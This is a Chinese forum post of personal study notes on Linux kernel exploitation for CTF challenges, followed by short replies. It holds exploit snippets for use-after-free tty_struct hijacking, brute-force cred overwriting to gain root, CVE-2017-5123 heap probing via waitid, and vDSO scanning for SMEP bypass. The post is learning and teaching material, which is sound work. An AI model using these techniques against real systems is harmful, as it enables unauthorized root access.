首页
社区
课程
招聘
[原创]linux kernel pwn笔记
2018-11-24 01:32 9946

[原创]linux kernel pwn笔记

2018-11-24 01:32
9946

距离上一次说要更新kernel pwn的总结过去了很长时间,原因是最近学业繁忙,尤其是英语课为了拍一个小电影,身体被掏空。所以博客就没有再更新。今天准备把这一个月学习的kernel pwn知识总结一下,做个笔记。自己以后方便一些,希望其它入门的同学也能学到一些东西。

一些结构体

如果存在use after free,就可以利用这些结构体进行提权。

tty_struct的利用:

#include<tty.h>

Size:0x2e0

struct tty_operations
{
    struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /*     0     8 */
    int (*install)(struct tty_driver *, struct tty_struct *);              /*     8     8 */
    void (*remove)(struct tty_driver *, struct tty_struct *);              /*    16     8 */
    int (*open)(struct tty_struct *, struct file *);                       /*    24     8 */
    void (*close)(struct tty_struct *, struct file *);                     /*    32     8 */
    void (*shutdown)(struct tty_struct *);                                 /*    40     8 */
    void (*cleanup)(struct tty_struct *);                                  /*    48     8 */
    int (*write)(struct tty_struct *, const unsigned char *, int);         /*    56     8 */
    /* --- cacheline 1 boundary (64 bytes) --- */
    int (*put_char)(struct tty_struct *, unsigned char);                            /*    64     8 */
    void (*flush_chars)(struct tty_struct *);                                       /*    72     8 */
    int (*write_room)(struct tty_struct *);                                         /*    80     8 */
    int (*chars_in_buffer)(struct tty_struct *);                                    /*    88     8 */
    int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int);             /*    96     8 */
    long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /*   104     8 */
    void (*set_termios)(struct tty_struct *, struct ktermios *);                    /*   112     8 */
    void (*throttle)(struct tty_struct *);                                          /*   120     8 */
    /* --- cacheline 2 boundary (128 bytes) --- */
    void (*unthrottle)(struct tty_struct *);           /*   128     8 */
    void (*stop)(struct tty_struct *);                 /*   136     8 */
    void (*start)(struct tty_struct *);                /*   144     8 */
    void (*hangup)(struct tty_struct *);               /*   152     8 */
    int (*break_ctl)(struct tty_struct *, int);        /*   160     8 */
    void (*flush_buffer)(struct tty_struct *);         /*   168     8 */
    void (*set_ldisc)(struct tty_struct *);            /*   176     8 */
    void (*wait_until_sent)(struct tty_struct *, int); /*   184     8 */
    /* --- cacheline 3 boundary (192 bytes) --- */
    void (*send_xchar)(struct tty_struct *, char);                           /*   192     8 */
    int (*tiocmget)(struct tty_struct *);                                    /*   200     8 */
    int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int);        /*   208     8 */
    int (*resize)(struct tty_struct *, struct winsize *);                    /*   216     8 */
    int (*set_termiox)(struct tty_struct *, struct termiox *);               /*   224     8 */
    int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /*   232     8 */
    const struct file_operations *proc_fops;                                 /*   240     8 */

    /* size: 248, cachelines: 4, members: 31 */
    /* last cacheline: 56 bytes */
};

我们来看一下内核中关于tty的源码

static void __init unix98_pty_init(void)
{
    ptm_driver = tty_alloc_driver(NR_UNIX98_PTY_MAX,
            TTY_DRIVER_RESET_TERMIOS |
            TTY_DRIVER_REAL_RAW |
            TTY_DRIVER_DYNAMIC_DEV |
            TTY_DRIVER_DEVPTS_MEM |
            TTY_DRIVER_DYNAMIC_ALLOC);
    if (IS_ERR(ptm_driver))
        panic("Couldn't allocate Unix98 ptm driver");
    pts_driver = tty_alloc_driver(NR_UNIX98_PTY_MAX,
            TTY_DRIVER_RESET_TERMIOS |
            TTY_DRIVER_REAL_RAW |
            TTY_DRIVER_DYNAMIC_DEV |
            TTY_DRIVER_DEVPTS_MEM |
            TTY_DRIVER_DYNAMIC_ALLOC);
    if (IS_ERR(pts_driver))
        panic("Couldn't allocate Unix98 pts driver");
ptm_driver->driver_name = "pty_master";
    ptm_driver->name = "ptm";
    ptm_driver->major = UNIX98_PTY_MASTER_MAJOR;
    ptm_driver->minor_start = 0;
    ptm_driver->type = TTY_DRIVER_TYPE_PTY;
    ptm_driver->subtype = PTY_TYPE_MASTER;
    ptm_driver->init_termios = tty_std_termios;
    ptm_driver->init_termios.c_iflag = 0;
    ptm_driver->init_termios.c_oflag = 0;
    ptm_driver->init_termios.c_cflag = B38400 | CS8 | CREAD;
    ptm_driver->init_termios.c_lflag = 0;
    ptm_driver->init_termios.c_ispeed = 38400;
    ptm_driver->init_termios.c_ospeed = 38400;
    ptm_driver->other = pts_driver;
    tty_set_operations(ptm_driver, &ptm_unix98_ops);
pts_driver->driver_name = "pty_slave";
    pts_driver->name = "pts";
    pts_driver->major = UNIX98_PTY_SLAVE_MAJOR;
    pts_driver->minor_start = 0;
    pts_driver->type = TTY_DRIVER_TYPE_PTY;
    pts_driver->subtype = PTY_TYPE_SLAVE;
    pts_driver->init_termios = tty_std_termios;
    pts_driver->init_termios.c_cflag = B38400 | CS8 | CREAD;
    pts_driver->init_termios.c_ispeed = 38400;
    pts_driver->init_termios.c_ospeed = 38400;
    pts_driver->other = ptm_driver;
    tty_set_operations(pts_driver, &pty_unix98_ops);
if (tty_register_driver(ptm_driver))
        panic("Couldn't register Unix98 ptm driver");
    if (tty_register_driver(pts_driver))
        panic("Couldn't register Unix98 pts driver");
/* Now create the /dev/ptmx special device */
    tty_default_fops(&ptmx_fops);
    ptmx_fops.open = ptmx_open;
cdev_init(&ptmx_cdev, &ptmx_fops);
    if (cdev_add(&ptmx_cdev, MKDEV(TTYAUX_MAJOR, 2), 1) ||
        register_chrdev_region(MKDEV(TTYAUX_MAJOR, 2), 1, "/dev/ptmx") < 0)
        panic("Couldn't register /dev/ptmx driver");
    device_create(tty_class, NULL, MKDEV(TTYAUX_MAJOR, 2), NULL, "ptmx");
}

tty_set_operations(ptm_driver, &ptm_unix98_ops);

将全局变量ptm_drivere de ops 设置成ptm_unix98_ops,

 

而ptm_unix98_ops是在之前就已经初始化了的一个静态全局变量。

static const struct tty_operations pty_unix98_ops = {
    .lookup = pts_unix98_lookup,
    .install = pty_unix98_install,
    .remove = pty_unix98_remove,
    .open = pty_open,
    .close = pty_close,
    .write = pty_write,
    .write_room = pty_write_room,
    .flush_buffer = pty_flush_buffer,
    .chars_in_buffer = pty_chars_in_buffer,
    .unthrottle = pty_unthrottle,
    .set_termios = pty_set_termios,
    .start = pty_start,
    .stop = pty_stop,
    .cleanup = pty_cleanup,
};

打开一个ptmx时调用的函数:

static int ptmx_open(struct inode *inode, struct file *filp)
{
    struct pts_fs_info *fsi;
    struct tty_struct *tty;
    struct dentry *dentry;
    int retval;
    int index;
nonseekable_open(inode, filp);
/* We refuse fsnotify events on ptmx, since it's a shared resource */
    filp->f_mode |= FMODE_NONOTIFY;
retval = tty_alloc_file(filp);
    if (retval)
        return retval;
fsi = devpts_acquire(filp);
    if (IS_ERR(fsi)) {
        retval = PTR_ERR(fsi);
        goto out_free_file;
    }
/* find a device that is not in use. */
    mutex_lock(&devpts_mutex);
    index = devpts_new_index(fsi);
    mutex_unlock(&devpts_mutex);
retval = index;
    if (index < 0)
        goto out_put_fsi;
mutex_lock(&tty_mutex);
    tty = tty_init_dev(ptm_driver, index);
    /* The tty returned here is locked so we can safely
       drop the mutex */
    mutex_unlock(&tty_mutex);
retval = PTR_ERR(tty);
    if (IS_ERR(tty))
        goto out;
/*
     * From here on out, the tty is "live", and the index and
     * fsi will be killed/put by the tty_release()
     */
    set_bit(TTY_PTY_LOCK, &tty->flags); /* LOCK THE SLAVE */
    tty->driver_data = fsi;
tty_add_file(tty, filp);
dentry = devpts_pty_new(fsi, index, tty->link);
    if (IS_ERR(dentry)) {
        retval = PTR_ERR(dentry);
        goto err_release;
    }
    tty->link->driver_data = dentry;
retval = ptm_driver->ops->open(tty, filp);
    if (retval)
        goto err_release;
tty_debug_hangup(tty, "opening (count=%d)\n", tty->count);
tty_unlock(tty);
    return 0;
err_release:
    tty_unlock(tty);
    // This will also put-ref the fsi
    tty_release(inode, filp);
    return retval;
out:
    devpts_kill_index(fsi, index);
out_put_fsi:
    devpts_release(fsi);
out_free_file:
    tty_free_file(filp);
    return retval;
}

tty = tty_init_dev(ptm_driver, index);

当打开一个ptmx时候调用这个函数之后利用ptm_driver来初始化。因此当我们可以利用
use after free控制一个tty_struct的时候,ops的位置的是一个全局内核变量ptm_unix98_ops,这个变量可以在kallsyms中读取,这样可以leak kernel 绕过kaslr。

实际应用中 Tty_struct 的初始化:

char *fake_file_operations = (char*) calloc(0x1000, 1); // big enough to be file_operations
    struct tty_operations *fake_tty_operations = (struct tty_operations *) malloc(sizeof(struct tty_operations));
    memset(fake_tty_operations, 0, sizeof(struct tty_operations));
    fd=open("/dev/kdb",O_RDWR);

需要申请一个0x1000的fake_file_operations
还需要申请一个fake_tty_operations,之后去伪造其中的ioctl 为xchgeaxesp
具体可以看以前发的那篇kernel的ctf题目。

 

题目举例:sharif kdb
2018国赛 babydriver

cred 结构:

cred结构相信大家是轻车熟路,

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    kuid_t        uid;        /* real UID of the task */
    kgid_t        gid;        /* real GID of the task */
    kuid_t        suid;        /* saved UID of the task */
    kgid_t        sgid;        /* saved GID of the task */
    kuid_t        euid;        /* effective UID of the task */
    kgid_t        egid;        /* effective GID of the task */
    kuid_t        fsuid;        /* UID for VFS ops */
    kgid_t        fsgid;        /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char    jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key    *process_keyring; /* keyring private to this process */
    struct key    *thread_keyring; /* keyring private to this thread */
    struct key    *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;    /* subjective LSM security */
#endif
    struct user_struct *user;    /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;    /* supplementary groups for euid/fsgid */
    struct rcu_head    rcu;        /* RCU deletion hook */
};

通过一个超级粗暴的cred爆破代码带大家看看cred的利用

 

当我们有了内存的任意读写权限之后

unsigned int credIt = 0;
 unsigned int credNum = 0;
while
{
(((unsigned long)addr) < (mmapStart + size - 0x40))
            credIt = 0;
            if (
                  addr[credIt++] == uid &&
                  addr[credIt++] == uid &&
                  addr[credIt++] == uid &&
                  addr[credIt++] == uid &&
                  addr[credIt++] == uid &&
                  addr[credIt++] == uid &&
                  addr[credIt++] == uid &&
                  addr[credIt++] == uid
){
      credNum++;
      printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr,credNum);
      credIt = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      if (getuid() == 0)
      {
            puts("[+] GOT ROOT!");
            break; 
      }
}
else
{
      credIt = 0;
      addr[credIt++] = uid;
      addr[credIt++] = uid;
      addr[credIt++] = uid;
      addr[credIt++] = uid;
      addr[credIt++] = uid;
      addr[credIt++] = uid;
      addr[credIt++] = uid;
      addr[credIt++] = uid;
}
addr++
}

但是这种爆破需要时间太长了

 

前几天看到一篇文章
http://reverse.put.as/2017/11/07/exploiting-cve-2017-5123/

 

利用cve-2017-5123waitid的漏洞 先进行内存堆探测,
cve-2017-5123 最最最基础利用可以看我前面的文章,
https://bbs.pediy.com/thread-247014.htm

 

感觉有必要做一个关于cve-2017-5123的专题,一个很适合练手的cve。

 

内核堆探测的代码:

for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %pn", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

waitid去任意写0,触发缺页异常并不会直接触发OOPS,但是会返回fault,这样就可以进行内存堆探测,只要能找到堆的大体位置,并且在上面通过fork,在堆上面分配大量cred结构,这样大大增加命中的几率。但是这里有一个困扰我多年的问题,那就是我找不到办法直接去调试kernel heap,希望大佬们能分享一些实用的工具。而且文章中给出的探测堆地址的代码中,为什么要以0x10000000为单位进行探测我始终不明白。准备接下来一段时间认真读一下linux kernel heap的源码,希望能有所解答。

VMA结构:

vma的利用我都发在了这篇文章上,不再重复了,大家可以复现一波,这个cve真的很有意思。
https://www.anquanke.com/post/id/161632

SMEP的绕过技术

vdso overwrite

static int __init init_vdso_vars(void) {

    int npages = (vdso_end - vdso_start + PAGE_SIZE - 1) / PAGE_SIZE;
    int i;
    char *vbase;
    vdso_size = npages << PAGE_SHIFT;
    vdso_pages = kmalloc(sizeof(struct page *) * npages, GFP_KERNEL);
    if (!vdso_pages)
        goto oom;
    for (i = 0; i < npages; i++) {
        struct page *p;
        p = alloc_page(GFP_KERNEL);
        if (!p)
            goto oom;
        vdso_pages[i] = p;
        copy_page(page_address(p), vdso_start + i*PAGE_SIZE);
    }
    vbase = vmap(vdso_pages, npages, 0, PAGE_KERNEL);

vdso是以页为单位copy到内核地址空间的。如果可以内核地址任意的读,可以页为单位进行爆破vdso的地址。

void* header = 0;
void* loc = 0xffffffff80000000;
size_t i = 0;
for (; loc<0xffffffffffffafff; loc+=0x1000) {
    readMem(&header,loc,8);
    if (header==0x010102464c457f) {
        fprintf(stderr,"%p elf\n",loc);
        readMem(&header,loc+0x270,8);
        //Look for 'clock_ge' signature (may not be at this offset, but happened to be)
        if (header==0x65675f6b636f6c63) {
            fprintf(stderr,"%p found it?\n",loc);
            break;
        }
    }
}

这是String IPC的例子,首先找到有ELF头的一页,再看这页的偏移0x270的地方对不对。具体的情况可能这个偏移不一样,可以自行dump vdso找偏移进行测试。
有了vdso的地址,我们就可以进行overwrites

 

vdso overwrite技术

hijack prctl

强网杯solid_core里面用到的技术:
劫持prctl中的hook
32位参数不能直接劫持call_usermoderhelper,但是可以先劫持poweroff_cmd这个全局变量,为我们想要执行的命令。需要绕过kaslr。kaslr的seed为0x100000,爆破出poweroff_cmd.这里也是一种绕过kaslr的爆破技术,在通过在ida中找出data段poweroff_cmd的偏移,以seed为单位进行爆破。其实跟通过爆破vdso找出kernel base是一个道理。之后将prctl劫持为orderly_poweroff。这里不详细讲了,可以看出题人大佬的博客。

 

http://simp1e.leanote.com/post/%E5%BC%BA%E7%BD%91%E6%9D%AF%E5%87%BA%E9%A2%98%E6%80%9D%E8%B7%AF-solid_core

 

插一句,这个题我用gdb调试的时候,题目给的vmlinux没有debug symbols table,难受的一匹,我只能先在qemu中读出kallsyms 中prctl的地址,然后手动的下段点。之后找hook也是难受的一匹。不知道大佬们有什么好用的办法。

write cr4

中规中矩的一种方法,当有了kernelbase之后,构造一个内核rop组成的payload,write cr4,但是这个需要一些辅助的利用条件,比如存在ufa,就可以利用tty_struct绕过smep。可以参考之前tty_struct的介绍。

最后再说一点自己调试过程中问题。

因为使用gdb远程调试内核,所以我一直没找到什么有效的手段查看内核的内存映射。一般就是通过readelf -a vmlinux看看text bss data段的偏移,在kallsyms中看看text段符号表,有些全局变量在ida中找找偏移。但是内核的堆和栈,没有像用户态看起来那么方便。

 

在这里说一说自己调试的时候是怎么处理的。希望大佬们能跟我分享一下自己的调试技巧。每次做kernel ctf pwn都烦skr人,然后用一些lowB的方法,唉!

 

对于栈的话没什么,
grep 0 /sys/module/yourmodule/sections/.text
从sys/module中找出text段位置,之后
add-symbol-file ./yourmodule.ko 【address】
加载你的驱动的符号表,之后下断点,x/60gx $rsp就可以看栈的情况。

 

但是堆的话比较难受,原因是对于内核堆的分配算法 slub slab 伙伴算法,我理解不深,也没有实际去调试过这种题型。做过的ctf题目都是有一个简单的uaf,释放一个堆块,马上将其再申请出来这种。在网上也找不到什么实用工具。

 

所以我写了一个很简单的小驱动,kmalloc一块地址,因为slub分配方法是 先通过伙伴系统获取一整页大小的虚拟内存,之后将整页分配成固定大小的内存块,根据kmalloc进行堆分配。所以,我想的是包装一个内核的模块,当我们要调试一个kernel的程序的时候,比如,需要申请一块ttystruct,kmalloc(0x2e0),这个时候,我们先在包装的内核模块中kmalloc一块同样大小的地址,将这个地址输出,这样,我们要调试的这块tty_struct就会跟我们内核模块输出的地址在同一页中,方便我们去查看堆。

 

写完之后突然觉得自己是个智障一样,自己还以为是在做用户态的菜单程序,malloc之后的地址没法直接输出。内核态的利用exp不都是我们自己用C写的?自己kmalloc之后自己输出一下不就行了。调试起来难受的原因就是实践的少了,外加kernel源码理解不深。所以接下来一段时间可能会爆更一些kernel 的ctf题目和cve的复现,同时准备更新一些kenerl源码的阅读和调试技巧思考。

 

真心希望大佬们分享一波自己的调试经验

参考链接

https://www.anquanke.com/post/id/87225
https://bbs.pediy.com/thread-225488.htm
https://hardenedlinux.github.io/translation/2015/11/25/Translation-Bypassing-SMEP-Using-vDSO-Overwrites.html


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2018-11-24 01:51 被obfuscation编辑 ,原因:
收藏
点赞8
打赏
分享
最新回复 (9)
雪    币: 5291
活跃值: (11715)
能力值: ( LV12,RANK:312 )
在线值:
发帖
回帖
粉丝
一半人生 5 2018-11-24 07:59
2
2
哈哈  顶顶顶
雪    币: 29414
活跃值: (18615)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2018-11-24 09:31
3
0
感谢分享!
雪    币: 17842
活跃值: (59773)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2018-11-24 18:55
4
0
66666
雪    币: 7798
活跃值: (904)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
点中你的心 2018-11-25 07:57
5
0
感谢分享,大佬们谦虚了
雪    币: 29
活跃值: (280)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
endlif 1 2018-11-26 00:08
6
0
感谢分享
雪    币: 438
活跃值: (228)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
ID蝴蝶 1 2018-11-26 22:27
7
0
感谢分享
雪    币: 216
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bolide 2018-11-29 21:54
8
0
感谢分享!
雪    币: 41
活跃值: (2220)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
Seclusion 4 2019-2-13 00:51
9
0
感谢分享
雪    币: 6707
活跃值: (2048)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
猡蠡 2019-2-21 16:58
10
0
用eclipse和ida都可以调试内核,看的方便多了
游客
登录 | 注册 方可回帖
返回